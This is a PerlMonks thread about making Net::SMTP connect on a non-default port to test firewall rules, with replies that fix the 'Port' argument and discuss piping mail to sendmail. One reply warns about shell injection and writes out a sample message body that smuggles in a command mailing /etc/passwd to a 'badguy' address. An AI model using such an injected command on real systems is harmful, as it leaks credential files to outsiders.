http://www.perlmonks.org?node_id=162233

grinder has asked for the wisdom of the Perl Monks concerning the following question:

Monks, I need to send some mail to a server that is configured to listen on other than port 25 for SMTP connections. According to Super Search no-one seems to have needed to do this yet :)

I have an antivirus package listening to port 25, and after cleaning a message of viruses, it forwards the message to another port on the same machine, where my SMTP server is listening.

I want to prove to myself that my firewall rules are set up correctly, and that it is not possible for a remote host to connect to said port, otherwise is would be possible to bypass the antivirus check.

Someone suggested Net::SMTP. Since it is derived from IO::Socket::INET, it can accept a PeerPort attribute, which would let me do what I want. Unfortunately, what I have written does not work:

#! /usr/bin/perl -w use strict; use Net::SMTP; my $host = shift || die "No host specified on command line.\n"; my $port = shift || die "No port specified on command line.\n"; my $s = Net::SMTP->new( $host, PeerPort => $port ); print $s->banner(), "\n"; $s->to( 'postmaster' ); $s->data(); $s->datasend( scalar gmtime ); $s->datasend( "\n" ); my $foo = <STDIN>; $s->dataend(); $s->quit();

While the script waits on STDIN, I can run a netstat and look for the open socket, and I see:

x.x.x.x.39394 y.y.y.y.25 8675 0 8760 0 ESTABLISHE +D

That is, the connection is opened on the port 25, not the port specified by the PeerPort attribute. I do get the banner, as double proof that the connection is connected on 25. Can someone hit me with a cluestick? Thanks.


print@_{sort keys %_},$/if%_=split//,'= & *a?b:e\f/h^h!j+n,o@o;r$s-t%t#u'

Replies are listed 'Best First'.
Re: Sending SMTP mail on other than port 25
by abstracts (Hermit) on Apr 26, 2002 at 10:43 UTC
    Grrrhhh

    From the Net::SMTP source, in method new, it is replacing PeerPort with Port. So, using Net::SMTP->new(Port => 11234, ...) should work.

    $obj = $type->SUPER::new(PeerAddr => ($host = $h), PeerPort => $arg{Port} || 'smtp(25)', Proto => 'tcp', Timeout => defined $arg{Timeout} ? $arg{Timeout} : 120 ) and last; }
    Hope this helps,,,

    Update: Amazing how two people can type the same message and submit at the same minute.

Re: Sending SMTP mail on other than port 25
by projekt21 (Friar) on Apr 26, 2002 at 10:43 UTC

    Looking at Net::SMTP I found the following within sub new

    $obj = $type->SUPER::new(PeerAddr => ($host = $h), PeerPort => $arg{Port} || 'smtp(25)', Proto => 'tcp', Timeout => defined $arg{Timeout} ? $arg{Timeout} : 120 ) and last;

    Without any further research I would guess that you may try:

    my $s = Net::SMTP->new( $host, Port => $port );

    alex pleiner <alex@zeitform.de>
    zeitform Internet Dienste

      ok, so I have the solution and I'm pleased to say that it works. Next time I'll try to remember to RTFS.

      It makes me think, though, that the interface is slightly broken. To construct an object of the class correctly, it needs to pass a named attribute X to a base class. You can't, however, pass the X attribute to the new() method directly, only X2 is allowed.

      I read the Net::SMTP pod, and no mention is made of the Port attribute (which is sort of to be expected). So from there I followed the chain of pod to Net::Cmd, IO::Handle, IO::Socket and IO::Socket::INET, which is where I finally found a mention a mention of PeerPort. In the first instance I was using Peer_Port, which didn't work, so when I came across this, I was sure it would work.

      So what really needs to happen is the line PeerPort => $arg{Port} || 'smtp(25)',

      ...needs to be written as...

      PeerPort => $arg{PeerPort} || $arg{Port} || 'smtp(25)',

      and that way it will work regardless. I'll see what gbarr think about this :)


      print@_{sort keys %_},$/if%_=split//,'= & *a?b:e\f/h^h!j+n,o@o;r$s-t%t#u'
Re: Sending SMTP mail on other than port 25
by shotgunefx (Parson) on Apr 26, 2002 at 10:44 UTC
    I'm not sure how to do this but another way to tell is you could try telneting to the port as well to see if you can connect.

    -Lee

    "To be civilized is to deny one's nature."
    Update
    Looking at the source it looks like... ahh never mind. Beaten to it.
Re: Sending SMTP mail on other than port 25
by asdfgroup (Beadle) on Apr 26, 2002 at 14:09 UTC
    I usually don't work with NET::SMTP, but rather send mail via sendmail (of course UNIX only solution) :
    open(MAIL, "| /usr/sbin/sendmail -t") or die $!; print MAIL "From: xxx@xxx.xxx\nTo: qwe@aaa.com\nSubject: your subjec +t\n\nBody here";

    This is generally much faster than NET::SMTP. And will work magically with port number etc ;)

    But of course this will work only locally

      This is a bad thing. It is:
      • Not faster than Net::SMTP
      • Not portable, works only on unix (and only where sendmail is in /usr/sbin)
      My personal choice is to use something like Mail::Sendmail or MIME::Lite which provides a nice level of abstraction and reduces the chance of errors. It also means less typing which is definatly a good thing.

      gav^

        This is not only a bad thing(tm) and not faster but it tempts people to pass args to the command line which can be very dangerous.

        For the speed issue, invoking sendmail is yet another process which will cause delays, especially if you have to send many messages to different people with different content.

        For the bad thing(tm) if you do not remove or escape all possible shell meta chars from the message body you can provide an interface to run arbitrary commands.

        Assume a message on unix systems that was "Hi\nHere is the password file\n;sendmail -t badguy@someplace.com cat /etc/passwd"

        or (if I recall) using & on NT systems you can get similar results.